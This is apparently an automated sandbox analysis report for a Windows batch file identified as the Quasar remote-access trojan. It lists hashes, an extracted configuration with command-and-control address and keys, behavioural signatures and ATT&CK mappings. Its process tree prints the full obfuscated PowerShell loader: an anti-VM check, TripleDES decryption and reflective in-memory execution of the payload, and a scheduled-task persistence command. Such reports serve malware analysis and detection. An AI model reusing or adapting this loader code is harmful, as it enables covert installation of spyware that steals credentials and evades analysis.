quasar | d817ea0af77c55d11377114d7b69cfb0037302c2a06fd89c46aa79e34f1e28cc

Resubmissions

20/09/2026, 22:17

260920-17ppcatwfx10

10/08/2026, 21:05

260810-zxal1attby8

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/09/2026, 22:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Batch.bat
Size 894KB
Sample260920-17ppcatwfx
SHA256 d817ea0af77c55d11377114d7b69cfb0037302c2a06fd89c46aa79e34f1e28cc
MD5 98fe346819eaa864d1982766984d9dc9
SHA1 258af6c2461bc4d2c1d8cbbb204733cfc6d7e29b
SHA512 3748509eb9c0588e87d98eeecfb33220933e8922b2b5fb31e434b2a0c74ea825eccd30f652ff710ba2004e87dba99b3930d91b438b8732a169e3ca3356117201
SSDEEP 12288:3dcp57/HNdG2DOGPDNi2J7J/dpp8w+65H6/3Pa6eR1nK1wCv3kJ931sxRrrZ3Zf:07vDPDTljNH6fPa6I1K1we3h93Zf
TLSH
T107152314EF3E423F4DB885BF346F450FE29A8DC8C1A496D913E198E2569FBC7410B968
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

shix execution quasar module persistence rat spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.7.1

Botnet

shix

193.161.193.99:43963

Mutex

1a520c91-1f29-47c2-849c-ef2401e27df8

Attributes

encryption_key
EC1C0E7F70CE8F084C53C6DAE1B656E63DF4314C
install_name
.exe
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
log_directory
key
reconnect_delay
2967

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

PulsaRAT library module 1 IoCs

Core component of the PulsaRAT remote access trojan, implementing its command protocol for hidden remote desktop, UAC bypass, persistence, and credential theft.

rat module

resource	yara_rule
behavioral2/memory/5216-49-0x000002A96FC90000-0x000002A96FCBC000-memory.dmp	pulsarat_module

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5216-48-0x000002A9711B0000-0x000002A97137E000-memory.dmp	family_quasar

Badlisted process makes network request 24 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5216	powershell.exe
5	5216	powershell.exe
7	5216	powershell.exe
8	5216	powershell.exe
9	5216	powershell.exe
10	5216	powershell.exe
16	5216	powershell.exe
17	5216	powershell.exe
18	5216	powershell.exe
19	5216	powershell.exe
20	5216	powershell.exe
21	5216	powershell.exe
22	5216	powershell.exe
23	5216	powershell.exe
24	5216	powershell.exe
25	5216	powershell.exe
26	5216	powershell.exe
28	5216	powershell.exe
29	5216	powershell.exe
30	5216	powershell.exe
31	5216	powershell.exe
32	5216	powershell.exe
33	5216	powershell.exe
34	5216	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5924	powershell.exe
5216	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4672	cmd.exe
1936	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3404	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5216	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5924	powershell.exe
5924	powershell.exe
5216	powershell.exe
5216	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	5924	powershell.exe
Token: SeIncreaseQuotaPrivilege	5924	powershell.exe
Token: SeSecurityPrivilege	5924	powershell.exe
Token: SeTakeOwnershipPrivilege	5924	powershell.exe
Token: SeLoadDriverPrivilege	5924	powershell.exe
Token: SeSystemProfilePrivilege	5924	powershell.exe
Token: SeSystemtimePrivilege	5924	powershell.exe
Token: SeProfSingleProcessPrivilege	5924	powershell.exe
Token: SeIncBasePriorityPrivilege	5924	powershell.exe
Token: SeCreatePagefilePrivilege	5924	powershell.exe
Token: SeBackupPrivilege	5924	powershell.exe
Token: SeRestorePrivilege	5924	powershell.exe
Token: SeShutdownPrivilege	5924	powershell.exe
Token: SeDebugPrivilege	5924	powershell.exe
Token: SeSystemEnvironmentPrivilege	5924	powershell.exe
Token: SeRemoteShutdownPrivilege	5924	powershell.exe
Token: SeUndockPrivilege	5924	powershell.exe
Token: SeManageVolumePrivilege	5924	powershell.exe
Token: 33	5924	powershell.exe
Token: 34	5924	powershell.exe
Token: 35	5924	powershell.exe
Token: 36	5924	powershell.exe
Token: SeDebugPrivilege	5216	powershell.exe
Token: SeIncreaseQuotaPrivilege	5216	powershell.exe
Token: SeSecurityPrivilege	5216	powershell.exe
Token: SeTakeOwnershipPrivilege	5216	powershell.exe
Token: SeLoadDriverPrivilege	5216	powershell.exe
Token: SeSystemProfilePrivilege	5216	powershell.exe
Token: SeSystemtimePrivilege	5216	powershell.exe
Token: SeProfSingleProcessPrivilege	5216	powershell.exe
Token: SeIncBasePriorityPrivilege	5216	powershell.exe
Token: SeCreatePagefilePrivilege	5216	powershell.exe
Token: SeBackupPrivilege	5216	powershell.exe
Token: SeRestorePrivilege	5216	powershell.exe
Token: SeShutdownPrivilege	5216	powershell.exe
Token: SeDebugPrivilege	5216	powershell.exe
Token: SeSystemEnvironmentPrivilege	5216	powershell.exe
Token: SeRemoteShutdownPrivilege	5216	powershell.exe
Token: SeUndockPrivilege	5216	powershell.exe
Token: SeManageVolumePrivilege	5216	powershell.exe
Token: 33	5216	powershell.exe
Token: 34	5216	powershell.exe
Token: 35	5216	powershell.exe
Token: 36	5216	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4672 wrote to memory of 1128	4672	cmd.exe	90
PID 1128 wrote to memory of 5924	1128	conhost.exe	91
PID 4672 wrote to memory of 5884	4672	cmd.exe	94
PID 5884 wrote to memory of 5216	5884	conhost.exe	95
PID 5216 wrote to memory of 1936	5216	powershell.exe	96
PID 1936 wrote to memory of 3404	1936	cmd.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Batch.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4672
- C:\Windows\system32\conhost.exe
  conhost.exe --headless powershell.exe -ep bypass -window hidden -command $yapgmYZacXbm=(Get-Disk).FriendlyName;if ($yapgmYZacXbm -like '*DA'+'DY HA'+'RDD'+'ISK*' -or $yapgmYZacXbm -like '*QEM'+'U HAR'+'DDIS'+'K*') {taskkill /f /im cmd.exe}
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ep bypass -window hidden -command $yapgmYZacXbm=(Get-Disk).FriendlyName;if ($yapgmYZacXbm -like '*DA'+'DY HA'+'RDD'+'ISK*' -or $yapgmYZacXbm -like '*QEM'+'U HAR'+'DDIS'+'K*') {taskkill /f /im cmd.exe}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5924
- C:\Windows\system32\conhost.exe
  conhost.exe --headless powershell.exe -ep bypass -window hidden -command $rduurn = [System.Convert]::FromBase64String(($env:dQLt0J.Split(',')|ForEach-Object{(Get-Item ('Env:'+$_)).Value})-join'');$MkeknVK4 = [Type]::GetType('System.Security.Cryptography.TripleDESCryptoServiceProvider')::new();$MkeknVK4.Key = @(66,6,156,223,192,216,31,252,235,3,112,41,100,169,8,122);$MkeknVK4.Mode = 'ECB';$MkeknVK4.Padding = 'PKCS'+'7';$CgU3 = $MkeknVK4.CreateDecryptor().TransformFinalBlock($rduurn,0,$rduurn.Length);$NHzNgk9 = New-Object('Syste'+'m.IO.M'+'emo'+'rySt'+'ream') -ArgumentList (,$CgU3);$e3azz2c = New-Object('Syst'+'em.'+'IO.'+'Memory'+'Strea'+'m');$P2ZsV15 = New-Object('System'+'.IO'+'.Compr'+'essio'+'n.GZi'+'pStre'+'am') -ArgumentList ($NHzNgk9,[IO.Compression.CompressionMode]('Decompress'));$P2ZsV15.CopyTo($e3azz2c);$ttF2 = $e3azz2c.ToArray();$nAya0xh = [Type]::GetType('Syste'+'m.Secu'+'rity.C'+'rypto'+'gra'+'phy.S'+'HA256');$FVB0O = $nAya0xh::Create().ComputeHash($ttF2);$OH8QAK = @(59,188,176,215,230,14,36,230,145,29,223,89,125,70,202,129,245,15,42,26,26,240,88,73,38,60,250,226,192,231,154,35);if (-Not (Compare-Object [byte[]]$FVB0O [byte[]]$OH8QAK)) {$fdf2pJ = (Get-CimInstance ('Win3'+'2_P'+'roces'+'s') -Filter ProcessId=$pid).CommandLine;foreach ($A40wi in [AppDomain]::CurrentDomain.GetAssemblies()){if ($A40wi.GlobalAssemblyCache -And $A40wi.Location.Contains('mscorl'+'ib.'+'dll')){foreach ($trJP in $A40wi.GetType('Syste'+'m.Refl'+'ectio'+'n.Asse'+'mbly').GetMethods('Publi'+'c,St'+'atic')){if ($trJP.ToString().Length -eq 39) {$trJP.Invoke($null, (,$ttF2)).EntryPoint.Invoke($null, (,[string[]](,$fdf2pJ)))}}}}}
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ep bypass -window hidden -command $rduurn = [System.Convert]::FromBase64String(($env:dQLt0J.Split(',')|ForEach-Object{(Get-Item ('Env:'+$_)).Value})-join'');$MkeknVK4 = [Type]::GetType('System.Security.Cryptography.TripleDESCryptoServiceProvider')::new();$MkeknVK4.Key = @(66,6,156,223,192,216,31,252,235,3,112,41,100,169,8,122);$MkeknVK4.Mode = 'ECB';$MkeknVK4.Padding = 'PKCS'+'7';$CgU3 = $MkeknVK4.CreateDecryptor().TransformFinalBlock($rduurn,0,$rduurn.Length);$NHzNgk9 = New-Object('Syste'+'m.IO.M'+'emo'+'rySt'+'ream') -ArgumentList (,$CgU3);$e3azz2c = New-Object('Syst'+'em.'+'IO.'+'Memory'+'Strea'+'m');$P2ZsV15 = New-Object('System'+'.IO'+'.Compr'+'essio'+'n.GZi'+'pStre'+'am') -ArgumentList ($NHzNgk9,[IO.Compression.CompressionMode]('Decompress'));$P2ZsV15.CopyTo($e3azz2c);$ttF2 = $e3azz2c.ToArray();$nAya0xh = [Type]::GetType('Syste'+'m.Secu'+'rity.C'+'rypto'+'gra'+'phy.S'+'HA256');$FVB0O = $nAya0xh::Create().ComputeHash($ttF2);$OH8QAK = @(59,188,176,215,230,14,36,230,145,29,223,89,125,70,202,129,245,15,42,26,26,240,88,73,38,60,250,226,192,231,154,35);if (-Not (Compare-Object [byte[]]$FVB0O [byte[]]$OH8QAK)) {$fdf2pJ = (Get-CimInstance ('Win3'+'2_P'+'roces'+'s') -Filter ProcessId=$pid).CommandLine;foreach ($A40wi in [AppDomain]::CurrentDomain.GetAssemblies()){if ($A40wi.GlobalAssemblyCache -And $A40wi.Location.Contains('mscorl'+'ib.'+'dll')){foreach ($trJP in $A40wi.GetType('Syste'+'m.Refl'+'ectio'+'n.Asse'+'mbly').GetMethods('Publi'+'c,St'+'atic')){if ($trJP.ToString().Length -eq 39) {$trJP.Invoke($null, (,$ttF2)).EntryPoint.Invoke($null, (,[string[]](,$fdf2pJ)))}}}}}
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5216
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c schtasks /create /xml CXpRb2xL.xml /tn f66c6eb2-e472-4cc0-9a6f-2e3e00e1b6da
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1936
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /xml CXpRb2xL.xml /tn f66c6eb2-e472-4cc0-9a6f-2e3e00e1b6da
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 046eede157e62c8a2525886c369503ead5fd8ae6dc2d8a4eb868e13dfa83ce76
MD5 15247a90eb725a413d61acfa3174e924
SHA1 ecf2879171c13a8ea1e9b4ab9c7a34be10c18270
SHA512 cc6ee290dc1bfb971ddbec2a059c62becf93f1504ffbd94d8d851bf8ccd821ad70ed16e470db8fa02fd79c40c4633de9e9c21599486dd49145b140ff0ce57042
TLSH
T17D216727B3DC8611C89D013A10CEAC1036BAC7DB409ECFAB7B84D669A43F699CE61150
MD5 SHA1 SHA512 TLSH

Submit Download

CXpRb2xL.xml

Path C:\Users\Admin\AppData\Local\Temp\CXpRb2xL.xml
Size 1KB
SHA256 bd854e3c9bfb2c7f42c53a4b1167d6baf325a7ce48797f6c3d9c5678f5189f1a
MD5 5e00ac728cb67fe9b358cb0797dfebf3
SHA1 02ce746f6117f4d6e1ddbf74b36e5485d66a85fe
SHA512 696631e5a231a628c5771367e66cc4cf45e5978e1b7de30549c7a23c6213eb09f4d8cdf7f5776a05308c4d16ff2cd668b1e5956dec2ff66db7c922fedab7dacf
TLSH
T13C413164A8C0B21F7572553BE35257C2EF2AA3A742464174F5CC4B3F2FBA08A1293467
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_jfmjfflp.0uw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfmjfflp.0uw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5216-53-0x000002A96FD00000-0x000002A96FD2A000-memory.dmp

Download

memory/5216-52-0x000002A971110000-0x000002A97115A000-memory.dmp

Download

memory/5216-51-0x000002A9710C0000-0x000002A97110C000-memory.dmp

Download

memory/5216-50-0x000002A96FE00000-0x000002A96FE3A000-memory.dmp

Download

memory/5216-49-0x000002A96FC90000-0x000002A96FCBC000-memory.dmp

Download

memory/5216-48-0x000002A9711B0000-0x000002A97137E000-memory.dmp

Download

memory/5216-37-0x000002A9705A0000-0x000002A9707BC000-memory.dmp

Download

memory/5216-36-0x000002A96FC90000-0x000002A96FCB4000-memory.dmp

Download

memory/5216-35-0x000002A96FC90000-0x000002A96FCBA000-memory.dmp

Download

memory/5924-13-0x0000022BFDB80000-0x0000022BFDC32000-memory.dmp

Download

memory/5924-16-0x0000022BFDDA0000-0x0000022BFDDAA000-memory.dmp

Download

memory/5924-18-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-19-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-20-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-21-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-22-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-23-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-24-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-25-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-26-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-28-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-29-0x0000022BFD179000-0x0000022BFD17F000-memory.dmp

Download

memory/5924-17-0x0000022BFDDB0000-0x0000022BFDDBA000-memory.dmp

Download

memory/5924-15-0x0000022BFDDC0000-0x0000022BFDDDE000-memory.dmp

Download

memory/5924-14-0x0000022BFDC40000-0x0000022BFDC4A000-memory.dmp

Download

memory/5924-0-0x00007FFED58CF000-0x00007FFED58D0000-memory.dmp

Download

memory/5924-12-0x0000022BFD950000-0x0000022BFD96E000-memory.dmp

Download

memory/5924-9-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-46-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-8-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-7-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-6-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-5-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download

memory/5924-4-0x0000022BFD8B0000-0x0000022BFD8D2000-memory.dmp

Download

memory/5924-1-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp

Download